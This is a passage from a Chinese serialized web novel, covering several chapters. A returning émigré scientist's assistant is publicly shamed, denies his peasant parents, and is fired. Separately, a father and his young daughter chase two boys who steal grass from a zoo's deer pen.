“你没必要向我道歉。”安利普说,“我这次的大夏之行,也已经进入了尾声,明天,我们就收拾东西回国。”
“什么?这么快?”杨乔治更加吃惊,“您还没有见到大夏的最高领导人啊!”
“没有那个必要了。”安利普语气平静,“就在刚才,我此行的所有提议,都已经被人拒绝了。”
“怎么会?”杨乔治记得,安利普只是见了个“老朋友”,其他所有的谈判还没开始,怎么就结束了?
“先生,您一定是误会了,您那位朋友,应该没有否定提议的权利。”
他隐约能猜到安利普见的是谁,可他无论如何都不敢相信,面对鹰国带来的巨大诱惑,大夏人竟然会毫不犹豫地拒绝。
第111章 当众打脸!钱教授怒斥:你不配当大夏人!
“没有我们的帮助,他们的国防科研就是一句空话!他们一定会后悔的!”
“不,不止后悔,他们还会为今天这个愚蠢的决定,付出惨痛的代价!”杨乔治的眼神渐渐变得抓狂,语气也愈发激动。
玛丽见他近乎失态,急忙小心地拽了拽他的袖子,被他毫不留情地甩开。
“教授,我们现在就递交申请,请求和他们国防部的元帅亲自会谈!我相信,这件事情一定还有转机!”
杨乔治急切地说。如果谈判就此失败,那他不是白白遭受了之前的羞辱,他回大夏这趟还有什么意义?
安利普看着他的声音越来越高,表情也越来越歇斯底里,那张一直保持冷静的脸,终于沉了下来。
“杨,你不觉得自己太愚蠢了吗?”
这句话一出口,犹如一盆冰水,瞬间浇得杨乔治浑身一凉,他这才发现,不知何时,整个大厅的目光都集中到他的身上。
很多听得懂英文的服务人员注视着他,之前那种鄙夷的目光再次如同利箭,一根根刺在他身上。
“我,教授,您听我解释……”
杨乔治的声音瞬间弱了下来,他可以不在乎大夏人怎么看他,却无法忍受安利普眼中冰冷的斥责与失望。
就在这时,方才的会客室大门被打开,一道身影站在了门前。
他的个子不算高大,鬓角已经染上了苍白,身上穿着一件半新的中山装,每一颗扣子都扣得整整齐齐。
当他出现的一刻,警卫立刻立正敬礼,穿梭的人们停下脚步,眼含崇敬,就连远处聊天的人,也不由自主转过身,投来尊敬的目光。
当他那双深邃至极的眼眸,淡淡扫向杨乔治时,杨乔治忽然感觉一记无形的巴掌抽在他脸上,让他整张脸都隐隐发烫。
那种感觉,就像自己是个跳梁小丑,突然被推到了探照灯之下,所有的贪婪、狂妄与愚蠢,都暴露无遗,无所遁形。
那人只瞥了他一眼,便迅速收回视线——仿佛杨乔治只是一粒无足轻重的尘埃,不值得浪费他哪怕一秒钟的时间。
他举步向安利普走去,原本一直坐着的安利普立刻起身,快速迎上。
“钱,你愿意做我今天下午的导游吗?”
他又一次向钱教授发出邀请。
钱教授淡淡一笑,回应道:“很抱歉,安利普老师,我这次还有很多私事要处理,恕我不能进地主之谊了。如果您有机会再来大夏,我希望能好好招待您。”
他说的并不是客套话,只是事实。对于人情寒暄上,钱教授向来只遵循自己的本心。
“那真是太遗憾了,我明天就要回国了。”安利普露出遗憾之色,和方才对待杨乔治的淡漠,简直判若两人。
“教授,别忘了您的承诺,如果有一天我成功了,请为我发来贺信。”钱教授微笑着和安利普握手。
西华厅办事处的干事端过来一个礼盒,轻声在钱教授耳边说了几句,钱教授接过礼盒,转赠给安利普。
“这是我们国家领导人对您此次来访送上的礼物,教授,很高兴您能来到大夏。”
“哦,你们,真是太让我出乎意料了,竟然还为我准备了礼物。”安利普十分惊喜。
“我们大夏人有句古话,‘有朋自远方来,不亦乐乎’。只要是愿意和大夏人民做朋友的人,我们都热烈欢迎。”钱教授的语气平和,透着一股大国的从容与底气。
“钱,谢谢你,谢谢。”安利普由衷地说。
钱教授不再寒暄,向安利普点点头,转身便准备离去。他早已规划好时间,先回家看望家人,明天一早,就乘专机返回基地。
**研发事业,他一秒钟都不想耽搁。
正当他抬步要走出大厅时,一个陌生的声音忽然在身后响起,带着几分犹豫与不确定,轻轻吐出几个字:“钱……师、师兄……”
这一次,他说的是中文。
钱教授停下脚步,缓缓转过身,目光落在身后的杨乔治身上,脸上没有任何表情,平静得像一潭深水。
杨乔治他终于见到了这位传说中的人物,被加州理工和麻省理工同时誉为最杰出科学家,终身教授。
在此之前,他一直憋着一股不服输的气,总想亲眼见见钱教授,看看这个人是不是真的如传说中那般厉害。
他读过钱教授的论文和著作,
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不得不承认对方的才华,可嫉妒心总是在作祟,让他忍不住想:如果自己当初也能拜入安利普门下,身边围绕着世界顶尖的科研人员,自己的专业成绩,一定不会比钱教授差。
他甚至偷偷幻想过两人见面的场景,同为“大夏人之光”,自己无论在哪个方面,都不会输给他太多。
可今天真正见面,他才感受到了前所未有的压迫感。尤其是看到安利普用他从未见过的温和态度对待钱教授,更是让他难以置信。
而周围所有人对钱教授的尊重与敬意,也远远超出了他的预料。
他甚至自己都没意识到,自己会下意识地叫出“师兄”,用他最想摒弃的母语,喊出了最传统的称呼。
或许,这个称呼早已藏在他的潜意识里,只是他一直不愿承认罢了。
钱教授听到了他的称呼,却没有任何回应。
旁人或许听不懂杨乔治方才对安利普说的那些话,但钱教授只听了一句,就看穿了他的全部心思。
对于这样忘本逐利、趋炎附势的小人,他不想多说一个字。
眼看钱教授转身又要走,杨乔治急忙追上几步,“师兄,师兄!我也在加州理工毕业,久仰您的大名,您能不能……”
“你是大夏人?”钱教授忽然停步,冷淡地问。
“啊,我……”杨乔治一时语塞,如果换作别人,他肯定会出言反驳,但钱教授身上有股强大的气场,竟然让他无法开口否认。
“是……是的……”他的声音细若蚊呐,最终,还是艰难地承认了。
这是他加入鹰国国籍以来,第一次,主动承认自己的祖国。
当然,如果可能的话,他很想说,自己曾经是,但现在不是的。
可惜,在钱教授面前,他不敢。
没想到钱教授听到他的回答,唇边反倒勾起一抹冷笑,“不,你不是。”顿了顿,他掷地有声地说了三个字——
“你,不,配!”
话音落下,大厅里瞬间安静了几秒,随即,几乎所有大夏人都起立为钱教授鼓掌叫好!
那三个字,不仅是对杨乔治忘本行为的斥责,更是一个民族的底气与骄傲。
第112章 小丑现形!亲爹妈揭穿真面目,你不配为人子
杨乔治的脸瞬间变得五彩斑斓,青一块、白一块,又羞又恼,恨不得找个地缝钻进去。“我、师兄,这都是误会……”
“收回你的称呼。”钱教授冷冷地打断他,声音不高,也不锋利,却像一把精准的手术刀,直直切割到杨乔治的灵魂深处,让他浑身一震。
他忽然想起了加州理工校园里的传说:当初钱教授在加州理工授课时,被学生们称为“**”!
他从不言笑,对待科学极其严谨认真,甚至不愿与任何蠢材浪费时间、多说一句话。
而方才钱教授对安利普的温和,不过是对自己老师的尊重罢了。
杨乔治尴尬到了极点。他原本是想借着“师兄”这个称呼,拉近与钱教授的关系,希望能通过钱教授,拜入安利普门下。
毕竟,谁都能看出,钱教授与安利普的关系十分亲厚。
可他忘了,自己方才的所作所为,早已让钱教授对他嗤之以鼻,这样趋炎附势的小人,钱教授怎么可能愿意多费唇舌?
可杨乔治还是不甘心,还想再做最后一次努力:“钱教授,是我冒昧了。不过,能不能请您再好好考虑一下,两国之间的合作事宜?这次机会,真的非常难得。”
“你只是安利普教授的助手,难道他的决定,没有跟你说明白?”钱教授语气平淡,眼神里带着几分不耐。
“这不重要!重要的是,在安利普教授回国之前,你们随时都可以改变主意!”杨乔治还在做着最后的挣扎。
“所以你想让大夏人用比合同高出15%的金额,去支付一笔对我们来说毫无用处的废纸”
“这怎么是废纸?这是世界上最先进的研发材料!”杨乔治叫道。
“你错了,世界上最先进的研究成果,永远都在研发的路上。”钱教授淡淡收回目光,“你太短视了,不适合从事高精尖的科研。”
说完,钱教授不再看他一眼,转身径直向大厅大门走去。
“你们会后悔的!”杨乔治在他身后愤怒地大吼,“你们整个大夏,都会为今天做出的错误决定后悔!”
真是个跳梁小丑。
在场的所有大夏人,看着他这副丑态百出的模样,脸上都露出了鄙夷的目光。
就连安利普,也觉得丢人至极。
他收拾好自己的公文包,追随着钱教授的步伐离开,多一眼都不想再看到这个人。
正当两人一前一后走出大厅正门时,台阶下忽然驶过来两辆红旗轿车,前面的副驾驶上下来一名干事,快步走到汽车旁,拉开了车门。
一对六十多岁的老夫妻蹒跚下车,他们穿着朴素,衣角上还打着补丁,头发早已花白,脸上刻满了岁月的痕迹。
后面车上下来两名军官,都是上尉军衔,几个人簇拥着老夫妻走上台阶,仰头先看到了钱教授。
这里的每个人都视钱教授为大夏国的无名英雄,军官立刻站好敬礼,那名干事也恭敬地开口:“钱院长,您回来了?”
钱教授收回之前面对杨乔治时的冰冷目光,表情柔和地点点头,示意他们不必多礼。
“钱院长,这两位是安利普教授的助手杨建国的父母。**知道杨先生多年没有回国,特意让我们去乡下把两位老人接来,到京城和他团聚。”干事轻声解释道。
钱教授微微一愣,脸上露出了几分意外。他实在无法将杨乔治那副眼高于顶、崇洋**的模样,与眼前这两位朴素、憨厚的农村老人联系在一起。
想起他之前种种言行,钱教授心中五味杂陈,却也不好多说什么,只是抬手向内一指:“他就在里面,你们请老人进去吧。”
这时,安利普也走了过来,好奇地看着眼前的老人。钱教授见状,便用英语为他翻译:“教授,这两位是杨的父母。”
安利普闻言,脸上的表情渐渐变得严肃起来,沉默了片刻,才缓缓开口:“钱,我很抱歉,杨的很多言论,都太过出格、太过无礼。但这只是他个人的行为,并非鹰国
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的授意,还请你不要误会。
“我明白,教授。这和您无关。”
两人刚谈了两句,厅内,忽然传来杨乔治的一声惊呼,那声音太尖锐了,把钱教授和安利普都吓了一跳。
两人对视一眼,都明白,现在不是离开的时候。
果然,当他们同时转身返回大厅时,就看到杨乔治一脸惊恐,如同见了鬼一般,瞪大眼睛,指着门口的方向,失声尖叫道:“你们,你们怎么来了?!”
杨乔治的尖叫像一只被踩住脖子的鸡,尖锐刺耳,在空旷的大厅里回荡。
他瞪大眼睛,死死盯着门口那两道身影——那两个穿着打补丁衣服、头发花白、站在军官中间显得局促不安的老人。
玛丽被他的叫声吓了一跳,顺着他的目光看去,皱眉问:“乔治,他们是谁?”
杨乔治没有回答。他的嘴唇翕动着,像是想说什么,却发不出声音。
门口的老妇人已经看到了他。那双被岁月磨得粗糙的眼睛瞬间亮了起来,她下意识向前迈了一步,又怯生生地缩回去,
在衣角上擦了擦手。
那件打了三层补丁的藏青色褂子,是她唯一一件出门穿的衣裳。
“建国……”她轻声喊,声音颤抖,“是建国不?”
杨乔治的脸白了。
不是羞赧的白,而是一种从皮肤底下透出来的、带着青灰色的惨白。他站在那里,像是被人抽掉了脊梁骨,整个人都矮了一截。
“你们……”他想开口,却声音发干,想说英语,母语却不自觉地流淌出来,“谁带你们来的?”
“是几位**,特意派人来了村里。”老头子的声音沙哑,他比老伴镇定些,但那双布满老茧的手也在微微发抖,“说你回国了,让俺们来京城看看你。建国,你都多少年没回来了……”
他说着,往前走了一步,想离儿子近一点。
杨乔治却下意识后退了一步。
这一步,让老头子的脚钉在原地。
第113章 拒认爹娘!朴素父母,养出忘本逆子
“建国?”老妇人的声音里带上了不安,她看看儿子,又看看儿子身边那个衣着漂亮的女人和那个揉着肚子的小孩,脸上的欣喜渐渐被一种茫然取代。
“这……这是你媳妇?这是俺大孙子?”
玛丽从眼前的气氛中,已经猜出了**不离十。杨乔治在鹰国留学时一直标榜自己的家世,说父母都是名门望族,却原来,竟是这样两个出身底层的农民?
她脸色一沉,之前对丈夫种种依仗和信赖全都变了样,厉声喝道:“乔治,你不打算跟我解释一下?这两个穷酸是谁?”
穷酸。
这两个字像一根针,扎在老夫妇的耳朵里,同样也扎进他们那颗期盼的心。他们同时哆嗦了一下,却不敢出言训斥儿子,只能用那种乡下人特有的、带着讨好和不安的眼神,望着自己的儿子。
“建,建国……”
这一声喊得杨乔治心头大恸,他张了张嘴,想告诉玛丽“这是我的父母,你的公婆”。
想说“他们虽然是乡下人,却抚养我长大”。
想说“我虽然出身不好,但足够努力……”
可那些话卡在喉咙里,怎么也说不出来。
因为钱教授还站在旁边,安利普也站在旁边。
而就在不久前,自己曾亲口向安利普辩解,自己是鹰国人,早已入了他国的国籍。
而更让人嘲讽的是,他还亲口叫嚣着让安利普提高材料售价,让整个大夏民族买单。
现在,整个大厅的大夏人,都在看着他们。
那些嘲讽的目光像一道道凌厉的鞭子,抽在他的面皮上,打得他的脸隐隐作疼。
“建国……”见他迟迟不开口,老头子用拇指抹掉眼角的泪,从怀里掏出一个布包。
他将布包层层叠叠打开,里面是一沓皱巴巴的钞票。
“俺们听说能见着你,也来不及带啥,这是俺和你娘攒的二百块钱,你拿着……国外花钱的地方多……”
二百块钱。
杨乔治看着那沓钞票,面值最大的是三张十块的,几张五块的,剩下的都是一块两块,一分两分的**票。
每一张都被小心地抚平边角,压得整整齐齐,上面还带着老人的体温。
他忽然想起小时候,爹娘就是这样,把一分一毛的钱塞进瓦罐里,攒够了就给他交学费。他想起自己出国那年,爹娘把家里能卖的都卖了,凑了三百块钱塞给他,说“建国,好好念书,给咱家争气”。
而自己上一次给家里写信是什么时候?十年前?
上一次寄钱呢?至少也间隔了五年。
那时,他寄了五十元美金,还特意在信里写了“以后别给我写信了,寄信太慢,我在国外不方便”。
想到这里,他的目光扫过,在那叠陈旧的钞票下,一张绿色票子分外显眼,就藏在老人粗糙的手指下。
难道……他的心猛地缩紧,那张纸币,他们一直没花?
是的,他忘了,国内能兑换美元的银行只在京城内,自己的父母一辈子没出过农村,又怎会知道外汇需要兑换的事?
也就是说,这些年,他们根本没有享受过自己哪怕一天的养老?
“这钱,你们收着吧。”他听见自己的声音,干涩、生硬,“我不缺钱。”
老头子的手僵在半空。
老妇人的眼眶红了,她低下头,用袖子擦了擦眼睛,然后又抬起头,努力挤出一个笑:“那、那让俺看看孙子中不?让俺抱抱……”
她朝小亨利走去。
小亨利正揉着肚子,看见一个穿打补丁衣服的老太太朝自己走来,吓了一跳,立刻躲到玛丽身后,用英语喊:“妈妈!这个穷老太婆要干什么!”
他喊得很大声。
整个大厅都听见了。
老妇人的脚步停住了。她的手还伸着,悬在半空,像一个不知道该往哪里放的、多余的东西。
她不明白,为什么一个长着纯正东方面孔的,和他儿子一个模子生出来的孩子,用一种自己听不懂的话,对着自己大吼大叫。
玛丽搂住儿子送到身后,非但没有尴尬,反而向杨乔治叫道:“你不是说过,你父母都是做大生意的吗?现在怎么解释?!”
好在,这句话她改用了英文,乡下那对老夫妻压根听不明白。
但周围能听懂英语的人已经知道
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了,杨乔治之前是怎样介绍自己家世的。
众人的目光几乎同时降到了冰点。
杨乔治的脸已经不能用“白”来形容了。
那是一种灰败的颜色,像被抽干了水分的枯木,想向妻子解释,却开不了口,想接住父母的善意,又跨不过那道鸿沟。
他光是站在那里,就已经与父母形成了荒诞的对比。
他穿着昂贵的西装,他们穿着打补丁的粗布衣裳;
他梳着鹰国精英最流行的发型,他们的头发却花白蓬乱;
他踩着做工精致的皮鞋,他们的布鞋沾着乡下的黄土。
更重要的是,直到现在,杨乔治都没有勇气拉过妻儿,向自己的父母介绍她们的身份。
此刻所有人的目光,都带着温度地落在老夫妇身上,落在那沓皱巴巴的二百块钱上,落在那双悬在半空、想抱孙子却不敢往前的手上。
而落在他身上的目光,只有鄙夷、冷漠、和一种彻骨的寒意。
“建国……”老妇人又喊了一声,声音哽咽,却强行忍耐着。
“娘就是想看看你……看看孙子……俺们明天,不,一会就走,不耽误你工作……”
这一声“建国”,像一把钝刀子,在杨乔治的心上来回锯着。
他已经很多年没有听过这个名字了。
他是乔治·杨。他的名片上印着GeYang。他的同事叫他Ge。他的太太叫他乔治。他的儿子姓杨,不喜欢大夏,一门心思把自己当鹰国人。
“建国”是谁?
是他七岁那年,村里发大水,爹把他顶在头上蹚水过河时喊的名字?
是他十二岁考上县一中,娘连夜给他做了一双新布鞋时喊的名字?
是他十八岁考上大学,全村人凑钱给他摆酒席时喊的名字?
还是他二十五岁出国那天,爹娘站在村口,一直站到看不见人影时喊的名字?
“我不叫建国。”他听见自己的声音,像是从很远的地方飘来,“我叫乔治·杨。”
老头子手里的布包抖了一下。
老妇人悬着的手,终于垂了下来。
第114章 解雇+离婚!凉薄逆子,终被全世界抛弃
“乔治·杨……”她喃喃地重复,像是努力记住这个名字,“好、好……乔治……杨……”
她念得生涩拗口,舌头怎么也卷不对那个音。一个中国农村老太太,一辈子没出过县城,哪里念得准英文名字?
可她在努力念。
努力念儿子现在的名字。
小亨利从玛丽身后探出脑袋,好奇地看着这个奇怪的老太太。“妈妈,她为什么叫我‘孙子’?‘孙子’是什么意思?”
玛丽没回答。
她不想回答,更不想承认。
她只是在为乔治对自己的欺骗怒火中烧,恨不得现在就和他撕破脸!
只不过,她的入籍是因为杨乔治配偶的身份才取得的,如果两人离婚,她肯定会被驱逐出鹰国。
她不想冒这个风险。
她只能强压心头怒火,狠狠地瞪着杨乔治。
大厅里静得出奇。
没有人说话。
那些服务人员、那些警卫、那些来来往往的人,都停住了脚步,静静地看着这一幕。
钱教授站在门口,脸上没有什么表情。但他的眼神很冷,没有一点温度。
安利普站在钱教授身边,他听不懂中文,但他看得懂。
看得懂那沓皱巴巴的钞票,那件打补丁的褂子,看得懂那老太太努力学念“乔治”时的口型,看得懂那个孩子躲在母亲身后的嫌弃眼神。
他想起刚才杨乔治说的话:“这里的人特别喜欢强调奉献和牺牲,为了国家的利益,就算让他们不吃不喝,也会勒着肚皮凑钱的。”
原来,他们不只为了国家,为了自己的小家,也愿意奉献和牺牲。
就如同眼前这对老夫妇一样,勒紧肚皮,节衣缩食,就为了把多年攒下的积蓄,交给这个二十多年没回家的儿子。
而杨乔治却可以毫不留情地对这个生养他的国度,说出“让他们付出代价”这样的话!
安利普缓缓移开了目光,不忍心再看下去。
他见过狂妄的人,见过自私的人,却从未见过如此凉薄、如此忘本的人。
“杨。”他忽然开口,用的是英语,声音不大,却清晰地传遍整个大厅,“我想,你不需要再做我的助手了。”
杨乔治猛地抬头。
“从现在开始,你被解雇了。”
“教、教授——”
“回国的机票你自己解决。”安利普打断他,竭力压住自己语气里的厌恶,“你和你的家人,与这次访问再无任何关系,我也不希望再看到你。”
他说完,转向钱教授,用带着歉意的语气说:“钱,我很抱歉,让你看到这些。”
钱教授摇了摇头,没有说话。
杨乔治彻底慌了。
他顾不上父母,顾不上妻子,顾不上儿子,踉跄着朝安利普跑去:“教授,教授!您不能这样!我们是签了合同的!我是您的助手!我——”
“你什么都不是。”安利普看都不看他,径直朝门外走去。
杨乔治想追,却被两个警卫礼貌而坚定地拦住了。
“先生,请您留步。”
杨乔治眼睁睁看着安利普的背影消失在门口,整个人像被抽空了似的,软软地靠在沙发上。
玛丽抱着亨利,愣愣地看着这一切。
安利普教授就这样走了?不但解聘了他,还把自己一家三口扔下不管了?
“杨建国!”她用中文愤怒地大喊,“你个浑蛋!看看你干的好事!你毁了我们所有人!”
话音未落,她扬起手,狠狠一巴掌扇在了杨乔治的脸上。
“啪!”
清脆的声音震得众人眉心一跳,玛丽已经抱起亨利,头也不回地冲了出去。
“教授,您听我解释,教授!”
她必须追上安利普,哪怕放下身段哀求,也要让他带自己和儿子回鹰国。
杨乔治捂住红肿的脸颊,半晌没有回过神,耳边全是玛丽的怒骂声。
而门口,他的父亲还站在那里,手里攥着那个布包,佝偻着背,像个做错了事的孩子。
他的母亲想上前看看儿子,却又不敢,自从他亲口说出自己叫“乔治”后,他们就已经不知道还能不能认下他了。
甚至都不敢奢望他再叫一声,“爹、娘。”
“建国……”最后,还是父亲开了口,声音疲惫而无力,“对不住啊,给你添麻烦了,没事,俺们这就走,你安心工作,不用惦记俺们。”<
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br>她的母亲也急忙附和道:“对老杨,咱走,别耽误孩子,他是做大事的人。”
杨乔治的嘴唇剧烈地颤抖起来。
他想说“你们现在走有什么用?”,想说“你们一开始就不应该来!”,想说“是你们毁了我的一切”。
可他说不出来。
他看着母亲转身时的蹒跚脚步,看着父亲佝偻的背影,那两道憔悴瘦弱的背影,在空旷的大厅里,显得那么渺小,那么苍老,那么可怜。
旁边伸过几只手,小心翼翼地搀扶住他们,是此次护送的军官,动作轻柔而耐心,比他这个亲生儿子,还要体贴。
“……娘……”
一个无声的呼唤,不知何时,从杨乔治的喉咙里呜咽了出来。
那个他以为早就忘掉的称呼,那个他二十多年没有喊过的字,本来应该冲口而出,却在最后一刻,被他死死地咬在了唇边。老妇人似乎感应到了什么,她的背影猛地一僵。
她慢慢转过身,眼睛里全是泪,却还在笑:“儿……儿啊……你是不是在喊娘?娘在呢!”
杨乔治站在那里,眼泪不知什么时候流了下来。
他想起小时候,娘也是这样喊他的——“建国,娘在呢,不怕”。
他想起七岁发大水那天,爹把他顶在头上,娘在后面扶着,一边蹚水一边说“建国不怕,娘在呢”。
他想起出国那天,爹娘站在村口,他上了拖拉机,回头看了一眼,娘还在招手,喊“建国,娘在家里等着你”。
她等到了。
他回来了。
可回来的,是一个叫“乔治·杨”的人,带着一个叫“玛丽秦”的,嫌弃他出身的媳妇,和一个在他的熏陶下,只会卑视大夏人的儿子。
他没脸过去!
老妇人站在那里,眼巴巴等着儿子走过来,等着他能和自己相认,可他始终没走过来。
他只是站在那里,满脸是泪,脚却像被钉在了地上。
她等了很久。
等到自己脚都麻了,等到老伴在身后不断拽她袖子,她眼里的光才一点一点熄灭。
“老杨,”她轻声说,“咱走吧。”
这一次,她没有再回头。
第115章 萌娃逛京城,动物园中,甜甜的笑容太治愈
老头子扶住老伴,想要再回头看看,终究还是忍住了。
他贴在老伴耳边,碎碎地呢喃着:“建国他没回来,人在国外好着呢,咱回家去等着吧。等他啥时不忙能回来了,就会回村里瞧咱们了。”
一边说,一边拉着妻子的手,一步一步走出了大门。
那沓皱巴巴的二百块钱,不知什么时候掉在了地上。
杨乔治盯着那沓钱,浑身剧烈地颤抖。
他忽然蹲下身,用双手捂住脸,发出一声压抑到极致的、像野兽一样的呜咽。
门外,钱教授站在台阶前,静静地看着那两个蹒跚着坐上汽车的苍老背影,抬手叫过护送他们的干事。
“帮我做一件事。”他轻声说。
“钱院长,您请吩咐。”
钱教授掏出钱包,抽出十块钱,将其余的一百五十块钱全都塞到了干事的手里。
“把他们安顿好。”
“院长,姓杨的不配有这样的父母!”干事愤愤不平地道。“他就是个忘本的白眼狼!”
钱教授没有接话,只是望着他们的方向,眼底闪过一丝悲悯。
经历了招待所的风波,梁哲父女俩意外成了众人焦点。大家纷纷表达钦佩之情,反倒弄得父女二人有些不好意思。
为了不给大家添麻烦,也为了躲开这份关注,梁哲决定带甜甜去街上转转,顺便让女儿看看京城的模样。
客房经理热情地拿出京城地图,将几处景点指给他看。特别提到动物园——亚洲象、非洲狮子、东北虎、长颈鹿,还有最受欢迎的大熊猫,“小朋友们都特别喜欢去。”
他还仔细交代了公交线路:“五分钱一张票,从招待所坐七站地,正好在正门下车。”
梁哲不想引人注目,换了一身便装,抱着甜甜出了门。
甜甜早就盼着能出去玩,得知要去动物园,更是雀跃不已,在爸爸怀里扭来扭去,欢快得像只蹦蹦跳跳的小兔子,嘴里还不停地催促:“爸爸快点快点!”
甜甜出生在小县城,对她来说,搭公交可是个新鲜事。小姑娘扒着车窗,圆溜溜的大眼睛盯着窗外的街景。
一会儿指着远处高耸的烟囱惊呼:“爸爸快看!那个**囱好高呀!”一会儿又歪着小脑袋,满脸疑惑地问:“爸爸,那个背大包的车怎么不走路呀?”
看着女儿天真烂漫、满眼好奇的小模样,梁哲的心瞬间软成了一滩温水,所有的疲惫与顾虑都烟消云散。他一边耐心地回答着女儿的每一个疑问,一边轻轻把甜甜抱到自己腿上,让她的视线能看到更多景色。
公交车在动物园站停下,车门一开,热闹的气息便扑面而来。
园门前摆着长长一溜小摊,捏糖人的艺人手法娴熟,糖浆在他手中变成了栩栩如生的猪八戒、孙悟空;扎绒花的阿姨指尖翻飞,不多时就绽出色彩艳丽的花朵。
还有剪纸的、编蛐蛐笼的,叫卖声、笑闹声、孩童的尖叫声此起彼伏,闲逛的人们摩肩接踵,好一派欢腾景象。
甜甜哪见过这场面,小脑瓜左张右望,几乎要晃成了拨浪鼓,这边瞅瞅糖人笑弯了眼,那边望望绒花挪不动脚。
"爸爸,甜甜也想要漂亮的花花!"
"哇!是猪八戒糖人好可爱!"
"爸爸,小虫虫为啥会唱歌呀?"
梁哲笑着搂紧了女儿,把买好的绒花轻轻别在她的小辫子上,满足她的愿望。
甜甜笑的眉眼弯弯,凑到梁哲脸上,吧唧吧唧亲了好几下。
“爸爸,你看甜甜好不好看?”小姑娘拉着爸爸的手摇晃,俏皮地向爸爸撒娇。
“是,我的女儿最漂亮了。”梁哲笑着夸赞,语气里充满了宠溺。
此时离动物园关门还有两个小时,梁哲买了两张门票,抱着甜甜跟着人流慢慢往里走。那些只在书本、卡片上见过的动物,此刻活生生地出现在眼前。
老虎威风凛凛,狐狸警惕机敏,孔雀绽开漂亮的尾巴……
小姑娘激动得小脸通红,小手紧紧攥着爸爸的衣服,眼睛都看直了。
逛了一会儿,父女俩都有些走累了。不远处,几个小朋友正举着冰棍吃得香甜,甜甜
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眼巴巴地看着,咽了咽口水,却懂事地没有开口索要。梁哲看在眼里,疼在心里,当即掏出两毛钱,也买了两根冰棍,递一根给甜甜。
甜甜小心翼翼地接过冰棍,小口小口地嘬着,品尝着那凉丝丝的甜味,吃得一脸满足。
忽然,她仰起粉团似的小脸:"爸爸,咱们是在过年吗?"
梁哲愣了一下,疑惑地问:“嗯?为什么这么说?”
“妈妈说,只有过年的时候,才能吃好吃的,还有好多好玩的。”甜甜舔了舔冰棍,认真地说,“现在我们有冰棍吃,还有动物园玩,一定是过年了。”
这稚嫩又单纯的话语,像一根细针,轻轻刺在了梁哲的心上,莫名一酸。
女儿今年已经三岁了,可他因为基地工作繁忙,常年在外奔波,每一次探亲假都短得像一眨眼,和妻女相聚的时光少得可怜,可怜到女儿连“过年”的真正含义,都没有清晰的概念。
“离过年还早着呢。”梁哲摸着甜甜的发顶,柔声保证,“但是爸爸答应你,今年一定好好陪甜甜过个热热闹闹的好年”
“真的吗?”甜甜眼睛一亮,一下子从爸爸怀里跳了起来,“爸爸不能骗甜甜哦,我们要拉勾勾!”
父女俩郑重地拉了勾,小小的手指勾着大大的手指,藏着最真挚的约定。
之后,他们又陆续逛了大型哺乳动物馆、国际交换动物馆,还有鸟类和爬行动物馆,每到一处,甜甜都充满了好奇。可就在他们走到珍稀本土动物馆时,一件小小的插曲,打破了这份惬意。
珍稀本土动物馆里的游客不多,**、黑熊、獐子的笼子前几乎没什么人,大伙儿的目光全黏在熊猫馆——圆滚滚的大熊猫正抱着竹子啃得香甜,憨态可掬的模样引得围观人群发出阵阵笑声。
而在展馆的另一边,鹿栏前,有工作人员端着一个大铁盆,盆里装满了新割的青草,正小心翼翼地往围栏里投喂。
甜甜原本也盯着大熊猫看得入神,可目光却不由自主地被工作人员怀里的铁盆吸引了过去。
第116章 甜甜指路!铁锅里的青草,藏着一家人的难处
那只铁盆,圆圆的、大大的,和家里的那只简直一模一样。
她记得,家里也有这样一只铁盆,每到晚上,妈妈都会烧好热水,让她坐在盆里洗澡澡,妈妈还会一边撩水,一边唱儿歌给她听。
好想妈妈啊……甜甜眨了眨湿漉漉的眼睛,眼底泛起一丝淡淡的委屈。
工作人员投喂完树叶,便端着空盆转身离开了。甜甜趴在梁哲的肩头,目光一直追随着那个熟悉的铁盆,直到它消失在视线里。
就在这时,她忽然觉得有些不对劲,连忙转过小脑袋,就看见两个半大的孩子正蹲在鹿栏前,鬼鬼祟祟、偷偷摸摸地做着什么。
甜甜揉揉眼睛仔细一瞧,原来是两个十岁左右的小男孩,正趁着没人注意,小心翼翼地把鹿栏里的青草拽出来,飞快地往怀里的纸袋子里塞。两人动作麻利,配合得十分默契,不一会儿,就把纸袋塞得鼓鼓囊囊的。
因为青草又蓬又软,他们还特意用手使劲压了压,然后把纸袋塞进怀里,用外套紧紧裹住,生怕被人发现。
甜甜越看越觉得奇怪,连忙趴在梁哲的耳边,用只有两人能听到的声音小声说:“爸爸,那两个小哥哥在偷东西。”
在那个年代,偷东西可不是一件小事,轻则被人抓进派出所,重则还要蹲监狱。梁哲心头一凛,连忙顺着女儿指的方向看去,可那两个小男孩已经察觉到了什么,转过身,脚下像生了风一样,飞快地往展馆外跑去。
“他们偷什么了?”梁哲连忙问道。
“偷小鹿吃的草。”甜甜伸出小小的手指,指着鹿栏里被拽得乱七八糟的青草,认真地说。
草?梁哲愣了一下,心里满是疑惑:草有什么好偷的?又不值钱,也没什么用处。
眼见两个孩子已经跑出展馆,梁哲来不及多想,抱着甜甜大步追了上去。
他原本以为,凭自己的脚程,三两下就能追上两个半大的孩子。可没想到,这两个孩子像两只调皮的皮猴子,连跑带颠,身手灵活,而且显然对动物园的每一条小路都了如指掌,专挑偏僻的小路钻,梁哲始终差着几步,怎么也追不上。
他好几次想开口阻拦,喝住他们,可转念一想,两个孩子年纪还小,偷的又不是什么值钱的东西,若是当众喊破,把他们当成小偷抓起来,传出去,怕是会影响他们一辈子的名声,甚至毁了他们的未来。
还是先追上他们,问清楚情况再说吧。
梁哲心里想着,脚下的速度又快了几分,不知不觉间,竟然快要跑出动物园了。
他不禁有些犹豫,若是一直追下去,动物园肯定逛不成了,女儿期盼了这么久,要不要为了这点小事,反而影响了女儿的游玩?
可没想到,甜甜不但没拦着他,反而催促道:“爸爸,快抓住小哥哥,问他们为什么要抢小鹿的饭饭,让小鹿挨饿。”
看着女儿认真的小脸,梁哲心头一暖,也不再犹豫,朝着小男孩逃跑的方向继续追了上去。
不远处就是动物园的后门。这里平日里少有游客出入,也没有工作人员监管,只在门上挂着一把旧锁。
小男孩们跑到跟前,轻车熟路一搭锁扣——
只听“咔哒”一声,锁竟然开了。
两人立刻像游鱼一样溜了出去。
嘿,梁哲更纳闷了。看这熟练的样子,不是手上有钥匙,就有可能是惯犯!
要不然好好的锁怎么说开就开了?
等他追出去,只见后门外是一条长巷。巷子七拐八绕,通向一条大路,再往右,是一片胡同,纵横交错,像一张迷宫。
梁哲站在巷口,看着四通八达的胡同,一时之间竟不知道该往哪个方向追。
